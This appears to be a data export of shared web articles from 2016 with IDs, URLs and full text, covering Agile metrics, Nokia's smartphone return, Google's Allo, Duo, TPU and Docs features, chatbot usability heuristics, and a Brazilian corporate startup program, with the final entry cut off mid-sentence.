1463630183,CONTENT SHARED,-3363563881552061188,-2726721797588771398,-7810045746292935124,,,,HTML,http://ronjeffries.com/articles/016-03/you-want/,Do you want Crappy Agile?,"Metrics. Maybe we should just say no. Check out this slide from VersionOne: One of the biggest problems with a tool like VersionOne is that it encourages you to track ""metrics"". Do you want Crappy Agile? That's how you get Crappy Agile, at least far too often. Surely it's important to know how you're doing and try to improve. Yes, sure ... except ... here are a few ways that most of these will be gamed. I say will , not might. Even if you try not to game these metrics, these effects will inevitably occur. The saying ""you'll get what you measure"" is true. Velocity - 59% of users Tracking points? Stories will tend to be estimated at higher numbers of points. All you have to do is frown a little bit when the team only does 24 points instead of last Sprint's 30, and guess what, the points will be higher next time. Tracking stories? Make stories smaller: you get more. Tracking stories but don't split them down? Test a bit less, refactor a bit less: you get more. Iteration or Release Burn Down / Burn Up - around 50% Iteration and release burn down are important for seeing where you are. When you see a turn coming up, you don't speed up, you adjust your steering. Same thing with burn down: use it to decide what to do, not to drive your speed up. Pushing burn down results in smaller stories (which can be a good thing). It results in less testing and less refactoring. These are not good things and they will slow you down and produce more defects. You want defects? That's how you get defects. Planned vs Actual Stories - 35% Pressure me because I thought we'd have 10 stories and we got 8? What will I do? I'm already working as hard and smart as I can. So what can I do? Less work, that's what. But you've defined the stories, so all I can do is less work inside each story. I can make it a bit less robust, I can test it a bit less carefully, I can leave the code in a bit worse order. Do you want those things? No, you do not. Hello, what are you even talking about? A Fundamental Value of Agile Software Development is Working Software . Scrum demands that you have a tested, integrated, ready-to-ship version, containing all features to date, in hand at the end of every Sprint. If you have that, you can hit any desired release date. You might hit it with fewer features than you imagined. In fact you will hit it with fewer features than you imagined, because some of those features you imagined aren't worth being late for. If you'd order features by highest value first, you'd likely have 80% or 90% of the value in hand well before the release data. Good Agile teams release before the planned date. Adequate teams release by the date. If you can't release by the date, something was wrong and you bloody well should have noticed it before the final deadline. Customer Satisfaction - 21% Wow, here at number seven, we find customer satisfaction. Brilliant. Of course it's hard to measure (unless you give them software very frequently). Of course it's a lagging indicator (unless you give them software frequently). And, of course, it measures the quality of your business decisions, and maybe what you'd rather do is blame the developers for low decision quality about what to do. Nonetheless, this is a decent metric, though hard to measure and hard to manage. Speeding up now ... Let's look more rapidly at the remaining items on VersionOne's list: Work-in-process is a good thing to look at. If it's high, then work is waiting and people are likely switching tasks. That's how you slow things down and inject more defects, so keeping WIP low is a good thing. Use WIP as a check to see if your teams are not as cross-functional as they might be. Defects into production and defects over time are well worth tracking. Good Agile teams release perhaps one-tenth or even fewer defects than before they went Agile. If defects don't go down when you go Agile, take a look at getting your teams a workshop in Agile software practices like TDD and refactoring. If defects drift upward, your teams need to bear down on testing and refactoring. One common cause of lowered quality is pressure to go faster. That's why measuring things like velocity are almost always negative. Budget vs actual cost is an odd one. A software team's budget is dominated by salaries over time. The only way you can be over budget in a month, by any significant margin, is by accidentally hiring more people than you planned. This is a budgeting or management error, not a team problem. Unless you're sending them off to too many meetings in Aruba, this is not likely to be a useful metric. Defect resolution is also odd. Avoid defects, don't resolve them. However, if you do have too many defects, while you're working to beef up testing to bring down defect injection, do look at how long they're taking to fix. If the time to fix defects lengthens, consider whether perhaps you're not prioritizing well. Do you want more defects fixed? Create more defect-fixing backlog items. Wait, what? You thought the Product Owner should just pile on more new stories and the team should magically fix defects in their copious free time? You were mistaken. As Product Owner, your job is to present to the team all the functionality-based backlog items that need to be done. New features, fixes to old ones: those are yours to decide upon. Estimation accuracy. The only good thing about this item is that it is down at number 13. First of all, you don't really mean accuracy. If they were getting everything done in less than the time estimated you'd be happy, even though they were incredibly inaccurate. Therefore, they'll estimate everything higher and you'll be happy. Estimation accuracy is a bogus metric. The best teams, these days, aren't estimating at the story level at all. They just slice stories small and do them, complete, working, and done. Business value delivered. Great! Best idea yet. Too bad it's number 14 on the list. How do you improve your business value delivered? You give the team important valuable work to do. Since your best idea is probably worth 100 times your worst, doing stories in the order from high to low is the best possible plan. See above on release dates. Individual hours per iteration / week. Are you even serious??? Do you really think that making people work more hours gets more work done at acceptable quality levels? Get out of here, you're not even qualified to use the word ""Agile"" on your resume. No, seriously, just get the hell out. Cycle time , on the other hand, can be useful. How long does it take from a story being given to the team until it's done? More than a couple of days? Then it was probably too large or not well-enough understood. How long does it take from specifying some important need until the story gets into the team's hands? Then you have a priority issue. Unless the story isn't really that important. Consider the actual value stream from idea to the customer. How much of it is in your development team? How much of it is elsewhere in your organization? Fix what's broken. Test pass/fail over time sounds good but I think it's a red herring. Unless you have a defect-ridden shambling hulk to begin with, the tests should all stay green all the time and the number of tests should increase roughly linearly with the number of backlog items in the system. If you have red tests for a long time, you have a problem. Use this as a retrospective topic, not as a team measurement topic. Scope change in a release is interesting. It seems to imply that you were supposed to know up front what you were going to build, and somehow you got it wrong. Well, hell yes. Your Product Owner's job is to deliver highest value backlog items first. It is to get the highest possible return on the work of the team, week in and week out. It is not to pump through some fixed list of stuff, and it is not to predict up front, other than in very general terms, what will be done. If you're looking at scope change in a release, don't show up at the next Agile conference unless you want me to rip the Agile badge off your shirt. Cumulative flow chart might be interesting. I'd suggest graphing both story count, which should go up roughly linearly over time, and value, which should tail off (because you did the high value things first, remember?). If the story count declines, you have material for a retrospective. In no case do you have material for comparing teams to each other. You might have material for comparing product ideas to each other. Earned value is popular among some large organizations. It is thought by some to be a useful way to compare the amount of work done with the time and money allocated. I think it probably works pretty well for building a bridge or a road. EVM, however, requires a detailed plan in advance. If you have a detailed plan in advance, it is unlikely that you're really doing an Agile method, even if you're using some techniques you think to be ""Agile"" such as Sprints or even TDD. EVM, with a fixed staffing budget, would typically show a straight line of value vs time or budget. It would assume linear growth of ""value"". Since you're picking your backlog items with highest value first, your EVM should stay ahead of the line for the entire project. If you're really good at budgeting the costs of features you've never built. It is somewhat possible to estimate how long it'll take to build a bridge or road. (Add your own list of over-budget bridges and roads here.) It is nearly impossible to budget how many features you can do in a new product with a new team. It may be somewhat possible to budget a product that's very similar to another one you just did. You'll be getting the idea that I don't care for EVM. I do not. I know one person who I think is pretty good at it. If you would like me to put you in touch with him, let me know. But unless you're required to use EVM by law, don't, just don't. Customer retention is a fair idea. Very lagging indicator, hard to relate to your decisions, and just about as weak a customer-based indicator as you can think of. Revenue / sales impact is also very laggy and hard to relate to individual product decisions. Certainly it's something to watch but I'm not clear at all how it relates to ""Agile qua Agile"". Product utilization can be great. I know a company who tracked clicks versus individual features, in an advertising situation. They found that valuable in planning how to serve up ads. And most of us can think of at least one feature in our commonly used apps that we'd like to have left out. So if you tracked utilization at a fine enough grain, close enough to your decisions, you might learn how to make good decisions. OK, Ron, do you like ANY metrics? Comparing one team to another? I don't like metrics very much, because comparing teams to one another is worse than apples and oranges. At least apples and oranges are fruit and fairly round. Teams, not so much. I do recall one case of a team comparison that worked well, however: At Atlas, when they existed, they had many departments all doing a Scrum kind of process. Most of the teams were learning to do small stories and that helped them, because small stories generally focus your attention better, help you select value better, and help you see how you're doing. One team, however, a sort of systems department, kept doing large stories that took months to do. No amount of advice seemed to change it. Then, Nathan McCoy, who was in charge of all the teams, started showing a simple graph in his monthly status reports, showing number of stories done by each team. The systems manager objected to this because it made him look bad. Other teams were doing ten or twenty things, and he might get one per month. As I was told the story by Nathan, the conversation went like this: Manager: ""Nathan, this isn't fair. You're just showing the number of stories, not how big they are."" Nathan: ""That's right."" Manager: ""But that's not fair!"" Nathan: [silent] Manager: ""All I'd have to do would be to divide up my stories into little bits and release those every month."" Nathan: [silent, smiling] Manager: ""Oh."" Soon, the manager was doing small stories, to the benefit of everyone. That's how you do a metric! The point is that comparative metrics will be met, so you need to be very careful when you set them up, because they will be met ... somehow. In-team, however ... When the team chooses metrics to tell themselves how they're doing, I'm all for it. Here are a few I've found useful. Graph number of tests vs number of stories done. This will give you a quick view into whether the team is trying to go too fast. Put a small square on the white board. When a code section needs improvement, put a sticky note in that square. This is a quick way for the team to indicate when they're encountering crufty code. Check this square in each retrospective. Bear down on refactoring when it starts filling up. And really ""small square"" is important. Maybe a foot square if you use three-inch stickies. Graph acceptance tests written versus green. I've seen this metric indicate that the team had written tests but had not been provided ""correct"" answers by the Product Owner team. You might find it useful. Velocity , in terms of stories done, is worth looking at. It will go up and down and you can learn something from thinking about it. However, be very careful: you're not looking at worker effort or team effort or anything of that kind. But when the curve of progress changes, you are looking at something . Use your retrospective to figure out what it is. Here's an older article on Big Visible Charts , to give you some ideas. I might see problems in some of those that I didn't see when I wrote the article back in 2004, particularly regarding possible misuses. Overall, be very cautious about trying to measure a team by metrics. Do use metrics to flag things for the team to look at. Very likely you shouldn't use them to compare teams at all.",en
1463658941,CONTENT SHARED,1173658987415870390,-492179582639058400,-9055510789639620885,,,,HTML,http://www.ztop.com.br/nokia-de-volta/,Nokia vai voltar ao mercado de smartphones,"Henrique Martin @henriquemartin Da série ""notícias que a gente sabia que iam acontecer, mas não tinha ideia de quando"", a Nokia anunciou hoje que vai voltar ao mercado de smartphones e tablets - desta vez, rodando Android. Por que a gente sabia que ia acontecer? Simples: depois de vender a unidade de mobilidade para a Microsoft (naquela novela toda de ""plataforma em chamas"" , o golpe cavalo-de-tróia de Stephen Elop e a desistência da Microsoft com os Lumia ), o acordo Nokia-Microsoft previa o uso da marca Nokia em smartphones a partir de meados de 2016 . E estamos em meados de 2016. A Nokia remanescente (Nokia Technologies), fabricante de infra-estrutura de redes, da incrível câmera 360 Ozo e, mais recentemente, dona da Withings (que faz wearables bem legais), anunciou hoje que uma nova empresa, chamada HMD , vai licenciar de foram exclusiva a marca Nokia para smartphones, tablets e feature phones. ""Os novos smartphones e tablets serão baseados em Android, unindo uma das marcas mobile mais icônicas do mundo, a Nokia, com o principal sistema operacional e comunidade de desenvolvimento de apps"", disse a empresa, em um breve comunicado oficial . Na prática, a HMD licenciou a marca da Nokia e disse que vai investir US$ 500 milhões nos próximos três anos para ajudar a nova Nokia a crescer. A fabricação será feita pela FIH (leia-se Foxconn), que comprou hoje o que restava da unidade de feature phones da Microsoft por um valor irrisório (US$ 350 milhões, mas OK, é só uma parte do negócio) em comparação ao que a Microsoft pagou pela Nokia toda (US$ 7 ,2 bilhões), em um negócio esperado para ser finalizado ainda este semestre. E, meio óbvio dizer isso, a HMD é liderada por ex-executivos da Nokia original. A Microsoft comentou , de forma lacônica, "" que continua a desenvolver o Windows 10 Mobile e dar suporte aos fones Lumia, como o Lumia 650, Lumia 950 e Lumia 950 XL, além de fones produzidos por parceiros como Acer, Alcate, HP, Trinity e VAIO "". A nova Nokia chega em um momento de consolidação de mercado interessante - onde Apple continua a reinar no mercado premium e marcas relativamente novas em telefonia - Lenovo, Asus, Xiaomi, VIVO, LeTV - brigam pau a pau para manter sua participação de mercado (e tentar ameaçar a Samsung, claro). Estou bem curioso com o que vem por aí. Henrique Martin já escreveu na PC World, PC Mag, Folha de S. Paulo e criou o Zumo em 2007. Em 2011, o Zumo se transformou no ZTOP, referência em conteúdo original sobre tecnologia em um mundo pós-PC. Siga-o no Twitter: @henriquemartin",pt
1463659672,CONTENT SHARED,1999466695269209462,-1387464358334758758,-3101989743624317360,,,,HTML,http://googlediscovery.com/2016/05/18/google-duo-aplicativo-de-chamadas-em-video/,"Google Duo, aplicativo de chamadas em vídeo | Google Discovery","Lançado durante o Google I/O 2016, o Google Duo é um aplicativo de chamadas em vídeo para Android ou iOS que foi desenvolvido para funcionar em conexões rápida ou lenta. ""Otimizamos o Duo para funcionar bem, mesmo em redes lentas, por isso, se a largura de banda é limitada, iremos ajustar a qualidade para que você ainda seja capaz de conversar"", disse um porta-voz do Google. O buscador explicou ainda que o Duo conta com o recurso ""Knock Knock"", que mostra uma visualização do vídeo ao vivo antes de atender a chamada. Na questão da qualidade das chamadas, o Duo opera com resolução de vídeo e áudio até 720p. Assim como o WhatsApp, o Duo funciona baseado no número de telefone e permite encontrar qualquer pessoa por meio da lista de contatos. Duo e Allo serão lançados nos próximos meses. Os interessados já podem fazer uma pré-inscrição no Google Play . é bacharel em administração de empresas e fundador da FragaNet Networks - empresa especializada em comunicação digital e mídias sociais. Em seu portfólio estão projetos como: Google Discovery, TechCult, AutoBlog e Arquivo UFO. Também foi colunista de tecnologia no TechTudo, da Globo.com.",pt
1463660381,CONTENT SHARED,7414965642940222121,-1387464358334758758,-3101989743624317360,,,,HTML,http://googleappsupdates.blogspot.com.br/2016/05/new-ways-to-keep-data-flowing-between.html,New ways to keep data flowing between your apps and ours,"(Cross-posted on Google Apps Developer Blog ) Posted by Tom Holman, Product Manager, Google Sheets There was a time when office work used to be all about pushing physical paper. Computing and productivity tools have made things better, but workers still find themselves doing the same tasks over and over across the different apps they use: copying and pasting from a CRM app to a slide presentation, or manually exporting data from a project management app just to turn around and import it back into a spreadsheet. It's the digital equivalent of pushing paper. To make it easier to get the job done across multiple apps, without all the copy and paste, we're announcing three new APIs and a new feature to help workers get to the data they need, when and where they need it. Build seamless integrations with the new Sheets and Slides APIs Our new APIs let developers connect their apps-and the data within them-more deeply with Google Sheets and Google Slides. The new Sheets API gives developers programmatic access to powerful features in the Sheets web and mobile interfaces, including charts and pivot tables. For example, developers can use Sheets as part of a rich workflow that pushes data from their app into Sheets and allows users to collaborate on that data before the updated data is pulled back into the original app, removing altogether the need to copy and paste. Teams at Anaplan , Asana , Sage , Salesforce , and SAP Anywhere are already building interesting integrations with the new Sheets API. Check out this video to see an overview of what's possible, as well as several example integrations. The new Sheets API is available today. Find the developer documentation as well as a codelab to help you get started at developers.google.com/sheets . Similar to the Sheets API, the new Slides API gives developers programmatic access to create and update presentations. For example, developers can use this API to push data and charts into Slides to create a polished report from source data in other application, ready to present. Conga , ProsperWorks , SalesforceIQ , and Trello are all building integrations with Slides using the new API. Several examples of what's possible are in this video . The Slides API will be launching in the coming months, and these partner integrations will be available soon after. You can sign up for early access to the Slides API at developers.google.com/slides . Keep your data in sync with the new Classroom API For developers building tools and workflows for schools, the Classroom API has launched new coursework endpoints to help you build stronger integrations that keep your data in sync. Read the full announcement on the Google for Education blog, here . Say goodbye to stale data with linked charts Finally, to make sure we can help keep all this data flowing seamlessly from app to app, users can now also embed linked charts from Sheets into Docs or Slides. The result? Once the underlying data in a spreadsheet changes, whether that change comes from an action taken in another app via the API or a collaborator, an updated chart in the corresponding presentation or document is just one click away. For more information, see how to add a chart to a document or to a presentation . We can't wait to see what you build. Note: all launches are applicable to all Google Apps editions unless otherwise noted Launch release calendar Launch detail categories Get these product update alerts by email Subscribe to the RSS feed of these updates",en
1463660413,CONTENT SHARED,-8123488152283046553,-1387464358334758758,-3101989743624317360,,,,HTML,http://googleappsupdates.blogspot.com/2016/05/opening-google-docs-sheets-and-slides.html,"Opening Google Docs, Sheets, and Slides files on mobile now easier when you're offline","We know that internet connections can be spotty when you're working on your phone on the go. And we recognize that sometimes you need access to a file you didn't remember to make available offline . With this launch, we'll make it easier to open Google Docs, Sheets, and Slides files on your Android and iOS devices when you're not online. Starting today, any Docs, Sheets, or Slides files you've recently worked on will be automatically synced to your mobile device, so you can open them even if you don't have an internet connection. As your documents, spreadsheets, and presentations go stale-or if your phone or tablet maxes out on storage space-we'll remove those older files from your device. To see what documents are saved to your device and to access them later, simply select Offline from the overflow menu in your Docs, Sheets, or Slides app. This will show files synced both automatically and manually (note that manually synced files will now be labeled with a checkmark, instead of a pin icon). Launch Details Release track: Launching to both Rapid release and Scheduled release Rollout pace: Gradual rollout (potentially longer than 3 days for feature visibility) Action: Change management suggested/FYI More Information Note: all launches are applicable to all Google Apps editions unless otherwise noted Help Center: Work on Google files offline Launch release calendar Launch detail categories Get these product update alerts by email Subscribe to the RSS feed of these updates",en
1463660698,CONTENT SHARED,-5115041394506292462,-1387464358334758758,-3101989743624317360,,,,HTML,http://googleappsupdates.blogspot.com.br/2016/05/embed-charts-from-google-sheets-in.html,Embed charts from Google Sheets in Google Docs and Slides and update them with a single click,"Charts help you display data in a visually compelling way. At work, the same chart may be used across multiple documents and presentations, to help you better convey your message and strengthen your argument. If that chart changes, it can be tedious and time-consuming to replace it in each and every file. To save you valuable time, we're now making it possible to update your chart with a single click-without ever needing to leave your document or presentation. To get started, simply go to Insert > Chart in Google Docs or Slides on the web. Insert a new chart, or select From Sheets to add an existing chart from the spreadsheet of your choice. As long as you check the Link to spreadsheet box, you'll be given the option to update the chart with one click if its underlying data in Google Sheets changes. Should you no longer want to be notified of updates to a particular chart, you can simply unlink it. This same functionality is available if you copy and paste a chart into a document or presentation. Please note that the ability to import or update linked charts will only be available to collaborators with edit access to the document, presentation, or underlying spreadsheet. For more information on embedding charts in your Docs and Slides files, check out the Help Center articles below. Launch Details Release track: Launching to Rapid release, with Scheduled release coming in two weeks Rollout pace: Full rollout (1-3 days for feature visibility) Impact: All end users Action: Change management suggested/FYI More Information Note: all launches are applicable to all Google Apps editions unless otherwise noted Help Center: Add a chart to a slide Help Center: Add a chart to a document Launch release calendar Launch detail categories Get these product update alerts by email Subscribe to the RSS feed of these updates",en
1463665926,CONTENT SHARED,-7702672626132856079,-1443636648652872475,8859116645558208595,,,,HTML,https://cloudplatform.googleblog.com/2016/05/Google-supercharges-machine-learning-tasks-with-custom-chip.html,Google supercharges machine learning tasks with TPU custom chip,"Machine learning provides the underlying oomph to many of Google's most-loved applications. In fact, more than 100 teams are currently using machine learning at Google today, from Street View, to Inbox Smart Reply, to voice search. But one thing we know to be true at Google: great software shines brightest with great hardware underneath. That's why we started a stealthy project at Google several years ago to see what we could accomplish with our own custom accelerators for machine learning applications. The result is called a Tensor Processing Unit (TPU), a custom ASIC we built specifically for machine learning - and tailored for TensorFlow . We've been running TPUs inside our data centers for more than a year, and have found them to deliver an order of magnitude better-optimized performance per watt for machine learning. This is roughly equivalent to fast-forwarding technology about seven years into the future (three generations of Moore's Law). TPU is tailored to machine learning applications, allowing the chip to be more tolerant of reduced computational precision, which means it requires fewer transistors per operation. Because of this, we can squeeze more operations per second into the silicon, use more sophisticated and powerful machine learning models and apply these models more quickly, so users get more intelligent results more rapidly. A board with a TPU fits into a hard disk drive slot in our data center racks. TPU is an example of how fast we turn research into practice - from first tested silicon, the team had them up and running applications at speed in our data centers within 22 days. TPUs already power many applications at Google, including RankBrain , used to improve the relevancy of search results and Street View , to improve the accuracy and quality of our maps and navigation. AlphaGo was powered by TPUs in the matches against Go world champion, Lee Sedol , enabling it to ""think"" much faster and look farther ahead between moves. Our goal is to lead the industry on machine learning and make that innovation available to our customers. Building TPUs into our infrastructure stack will allow us to bring the power of Google to developers across software like TensorFlow and Cloud Machine Learning with advanced acceleration capabilities. Machine Learning is transforming how developers build intelligent applications that benefit customers and consumers, and we're excited to see the possibilities come to life.",en
1463666039,CONTENT SHARED,8118799783881928573,268671367195911338,-2969707595380778816,,,,HTML,https://medium.com/chat-bots/usability-heuristics-for-bots-7075132d2c92,Usability Heuristics for Bots - Chatbots Magazine,"Nielsen's Ten Heuristics 1) Visibility of system status  -  The system should always keep users informed about what is going on, through appropriate feedback within reasonable time. The medium of bots is a conversation, and a bot conversation is governed by a few fundamental facts: Conversations are ephemeral  - Messages are cheap, disposable and become stale with time. A message from a day ago is less valuable than a message from a few seconds ago. Old messages are not up to date  - There's no guarantee that older messages accurately reflect the current state of the system. The older the message, the less confident we can be in its relevancy. Limited real estate  - There's a hard limit of how many characters are visible at any one time, and a soft limit of how many words a user can comprehend before becoming overwhelmed. So, since messages are ephemeral we should constantly keep the user updated on what's going, while also avoiding overwhelming the user with a wall of information. How do we satisfy both these imperatives? Here's what I propose: The system should allow the user to request information about what is going on, through appropriate feedback within reasonable time. By putting the onus on the user to request system status as necessary, we avoid overwhelming the user with potentially redundant information. Also, appropriate feedback within reasonable time should go without saying. Bots should be responsive, and if a network request is taking a long time, should not leave the user waiting for a response. Providing a typing indicator, like a human does, is a delightful touch, and indicating how long a request will take, like ""hey, still working on this... give me a few minutes"" is just being thoughtful. 2) Match between system and the real world  - The system should speak the users' language, with words, phrases and concepts familiar to the user, rather than system-oriented terms. Follow real-world conventions, making information appear in a natural and logical order. You can't get closer to speaking users' language than, well, actually speaking users' language. The problem is that understanding language is a really hard problem, and bots are going to fall short of being smart enough, at least in the short term. Chatbots, you see, don't chat very well. Even those built atop the latest tech are limited in what they can understand and how well they can respond. For now, talking to a bot is like talking to, well, a machine. That makes conversational commerce feel like a false promise. But maybe the problem isn't the tech. Maybe it's the promise. -  Cade Metz, Wired I think the key here is to know your audience . Some users will appreciate a command line style interaction style, and others will expect to converse in natural language. Still others might speak in slang or abbreviations. Bots should be built with a solid understanding of the audience they seek to appeal to. 3) User control and freedom  - Users often choose system functions by mistake and will need a clearly marked ""emergency exit"" to leave the unwanted state without having to go through an extended dialogue. Support undo and redo. Conversations in real life don't generally support the ability to undo and redo (I wish they did), but a conversation with a bot could. We should assume that fat finger syndrome will lead to all kinds of typos and misinterpreted messages. Interactions with bots should provide an escape hatch, and keep the user aware of valid options during any stage of an interaction. 4) Consistency and standards  - Users should not have to wonder whether different words, situations, or actions mean the same thing. Follow platform conventions. Platform conventions are still being worked out, but in the meantime we can interpret this heuristic to mean that bots should be internally consistent ; a bot should stick to a single style of language, whether that's natural language, command line, or something in between. In the case of command line interactions, it's extra important to distinguish between keywords and natural language interactions. One technique we've used in our Emojinary bot is to denote commands as capitalized words: i.e., HELP, or NEXT. 5) Error prevention  - Even better than good error messages is a careful design which prevents a problem from occurring in the first place. Either eliminate error-prone conditions or check for them and present users with a confirmation option before they commit to the action. Getting confirmation is imperative in bot interactions. Designers should build interactions with the assumption that errors will happen early and often, given the ambiguity and impreciseness of most human dialogue. Ask for confirmation from the user for any critical step in an interaction. 6) Recognition rather than recall  - Minimize the user's memory load by making objects, actions, and options visible. The user should not have to remember information from one part of the dialogue to another. Instructions for use of the system should be visible or easily retrievable whenever appropriate. Judging from the research we've done, users don't seem to read much, if at all. For folks who've been building websites for years, this won't come as a surprise, but it's a particularly rich irony given that the medium of bot communication is mostly text. While building our Emojinary bot, we've run usability tests seeking to understand why users get lost in our onboarding flow. We've found that a common problem is users will read the first message we send and then their eyes glaze over. They skim the rest. After we ask them to reread the messages in more detail, their confusion evaporates. This is a clear example of the bot design failing the users. If users fail to read and comprehend the messages we send, it's our fault. We need to, again, satisfy two competing goals: We need to avoid overwhelming the user with a wall of text, while also providing clues as to what her options are at any given point in the interaction. Facebook's structured messages are a great solution to this problem. They remove the ambiguity from a particular interaction by providing a discrete set of options for the user to choose from. Over-reliance on structured messages can feel contrived, however, as I explore in the next section when evaluating the bots. 7) Flexibility and efficiency of use  - Accelerators-unseen by the novice user-may often speed up the interaction for the expert user such that the system can cater to both inexperienced and experienced users. Allow users to tailor frequent actions. Lots of Slack bots can be invoked with something like: Which loads a relevant gif into the channel. Bots are supremely well positioned to provide these types of invisible accelerators to power users. While one user might say ""Hey, Giphybot, can you look for a picture of hotdogs?"", another user cuts right to the chase with a command. An open question for me is: what's the best way to provide affordance for discovering these power moves? How can we teach users to become power users without resorting to a clunky help menu? 8) Aesthetic and minimalist design  - Dialogues should not contain information which is irrelevant or rarely needed. Every extra unit of information in a dialogue competes with the relevant units of information and diminishes their relative visibility. Judging from the interactions I've seen with my two bots, first time users invariably launch into a very human-like interaction: How should bots respond to queries unrelated to their core competency? Should they be all business, or engage in some frivolity? If I'm a bot selling shoes, and you ask me about my life, should I engage in some small talk? Should I gently nudge you back to shoes? If I'm nudging you, how hard do I nudge? If I engage in some banter, how much banter should I support? These questions get at the heart of what a bot's personality is and should be, and crafting compelling personalities will be key differentiators between successful bots and the rest of the pack. Imagine you're shopping on Zappos for a pair of shoes. The brand voice of Zappos is friendly, chatty, super helpful. You wouldn't expect your conversation to get right down to business; I want to get to know ZapposBot a little bit, find out what makes it tick. Conversely, if I'm talking to some LawyerBot, I expect a more professional interaction, because you're probably billing me by the message (kidding!) There's a distinction between content (the information ), and the medium (the personality ). The content can stay minimal, but the medium doesn't have to. If I ask you how your day is going, I expect an answer. Bots that fail to oblige users in this way inevitably let them down and lead to a subpar experience. 9) Help users recognize, diagnose, and recover from errors  - Error messages should be expressed in plain language (no codes), precisely indicate the problem, and constructively suggest a solution. Still applicable. If your bot barfs out a ""500 error"" you're doing it wrong. 10) Help and documentation  - Even though it is better if the system can be used without documentation, it may be necessary to provide help and documentation. Any such information should be easy to search, focused on the user's task, list concrete steps to be carried out, and not be too large. Also still applicable. Help and documentation should be accessible via the bot itself. I suspect a convention will be established over time regarding the best way to fetch bot documentation; in the meantime, make it quick and easy to get help and documentation.",en
1463673639,CONTENT SHARED,-8149429101569453081,3609194402293569455,-7704573127410667051,,,,HTML,https://googleblog.blogspot.com.br/2016/05/allo-duo-apps-messaging-video.html,Saying �� to Allo and Duo: new apps for smart messaging and video calling,"Whether it's welcoming a new baby, celebrating the winning shot in overtime, or discovering the best taco stand ever-we all want to share these moments with friends and family the instant they happen. Most of the time, this means picking up our phones and sending a message or starting a call. Today we're sharing a preview of two new apps that take a fresh look at how people connect. Allo, a smart messaging app Allo is a smart messaging app that makes your conversations easier and more expressive. It's based on your phone number, so you can get in touch with anyone in your phonebook. And with deeply integrated machine learning, Allo has smart features to keep your conversations flowing and help you get things done. Emojis, stickers, Ink, and our Whisper Shout feature in Allo Allo has Smart Reply built in (similar to Inbox ), so you can respond to messages without typing a single word. Smart Reply learns over time and will show suggestions that are in your style. For example, it will learn whether you're more of a ""haha"" vs. ""lol"" kind of person. The more you use Allo the more ""you"" the suggestions will become. Smart Reply also works with photos, providing intelligent suggestions related to the content of the photo. If your friend sends you a photo of tacos, for example, you may see Smart Reply suggestions like ""yummy"" or ""I love tacos."" Smart Reply suggestions in Allo Allo also features the Google assistant, bringing the richness of Google directly into your chats-helping you find information, get things done, and have fun. You can chat one-on-one with the assistant, or call on Google in a group chat with friends. Either way, you no longer have to jump between apps to do things like book a dinner reservation with friends, get up-to-date sports scores, settle a bet, or play a game. The assistant in Allo lets you bring things like Search, Maps, YouTube and Translate to all your conversations, so that you and your friends can use Google together. The Google assistant in Allo understands your world, so you can ask for things like your agenda for the day, details of your flight and hotel, or photos from your last trip. And since it understands natural language patterns, you can just chat like yourself and it'll understand what you're saying. For example, ""Is my flight delayed?"" will return information about your flight status. Google assistant in Allo Privacy and security are important in messaging, so following in the footsteps of Chrome, we created Incognito mode in Allo. Chats in Incognito mode will have end-to-end encryption and discreet notifications, and we'll continue to add new features to this mode. Duo, a video calling app for everyone Duo is a simple, fast one-to-one video calling app for everyone-whether you're on Android or iOS, a fast or slow connection, in New York or New Delhi. Like Allo, Duo is based on your phone number, allowing you to reach anyone in your phonebook. And its simple interface fades away when you're in a call, so it's just the two of you. One of our favorite features of Duo is Knock Knock, which shows you a live video preview of the caller before you pick up. Knock Knock invites you into the moment, making calls feel spontaneous and fun. Once you answer, Duo seamlessly transitions you right into the call. Duo calls are in crisp HD video (up to 720p) and audio. We've optimized Duo to work well even on spotty networks, so if bandwidth is limited it gracefully adjusts quality so you're still able to connect. We also seamlessly transition calls between cellular and Wi-Fi, so you don't need to worry about what network you're on. Finally, we built Duo with privacy and security in mind and all calls on Duo are end-to-end encrypted. Both Allo and Duo will be available this summer on Android and iOS. We can't wait for you to try them.",en
1463674499,CONTENT SHARED,-2307670819023106063,3609194402293569455,-7704573127410667051,,,,HTML,http://startupi.com.br/2016/05/natura-esta-em-busca-de-startups-para-gerar-novos-projetos-e-produtos/,Natura está em busca de startups para gerar novos projetos e produtos - Startupi,"Cada vez mais estão surgindo programas de apoio para startups dirigidos por grandes corporações no Brasil. Na semana passada, o Startupi marcou presença no lançamento do Programa Natura Startups , criado para aproximar a empresa de empreendedores inovadores, com o intuito de gerar novos projetos, processos e produtos. ""A Natura atua no modelo de inovação aberta e colaborativa há mais de dez anos porque acredita que o trabalho em rede gera resultados concretos e positivos para o nosso negócio"", avalia a gerente de Inovações e Redes da empresa, Luciana Hashiba. A Natura busca parcerias com empresas que contribuam para sua proposta de valor, gerando inovação e aumentando o bem-estar do cliente no uso de produtos de higiene pessoal, perfumaria e cosméticos. ""Temos uma crença de que quanto mais nos conectarmos e colaborarmos, iremos melhorar a inovação, não só na Natura, mas em todo o ecossistema, com mais desenvolvimento e criação de valor compartilhado. Estamos super motivados e entusiasmados e acreditamos no valor que o programa irá gerar"", destaca Gerson Pinto, VP de inovação da Natura. Como tudo começou No início de 2014, a Natura percorreu parte do Brasil em busca de empreendedores inovadores, por meio do contato com aceleradoras, parques tecnológicos, consultorias de inovação e fundos de investimento para entender como entrar no mundo das startups. Após um longo trabalho de campo, 16 startups foram selecionadas e entrevistadas pela área de Inovação Aberta da Natura e cinco participaram de um showcase realizado internamente. No ano passado, a ação de prospecção de potenciais parceiros, em conjuntos com a Anprotec (Associação Nacional de Entidades Promotoras de Empreendimentos Inovadores), resultou no recebimento de 146 propostas. Dessas, 114 estavam alinhadas aos interesses da Natura e 64 foram aprovadas em uma primeira fase. Hoje, são 33 startups interagindo com diferentes áreas da Natura, sendo que 13 já participam de projetos ou desenvolvem pilotos em parceria com a Natura. Conheça algumas startups que já estão interagindo com a Natura e gerando resultados: Já são oito projetos desenvolvidos na Natura pela curitibana Já Entendi , especializada em inteligência educacional. O primeiro foi no final de 2014, quando criou uma plataforma voltada para o treinamento sobre conteúdo técnico de produtos para as Consultoras Natura. Gladys Mariotto, fundadora da startup, reforça a importância do projeto para a ascensão da empresa no mercado: ""Quando falamos do trabalho com a Natura, o mercado nos vê com outros olhos"". Outra história envolve as startups Allevo e Goga , de Porto Alegre, que somam competências e inteligência em rede para trazer novas tecnologias para transmissão de conteúdos sobre produtos, que foram traduzidas em uma linguagem mais amigável às consultoras pela Já Entendi. ""Para nós, o trabalho com a Natura foi muito bom e consolidou nossa credibilidade no mercado. É como um selo de qualidade, um relacionamento que não tem preço"", diz Arthur de Franceschi, sócio e fundador da Goga. ""Todo 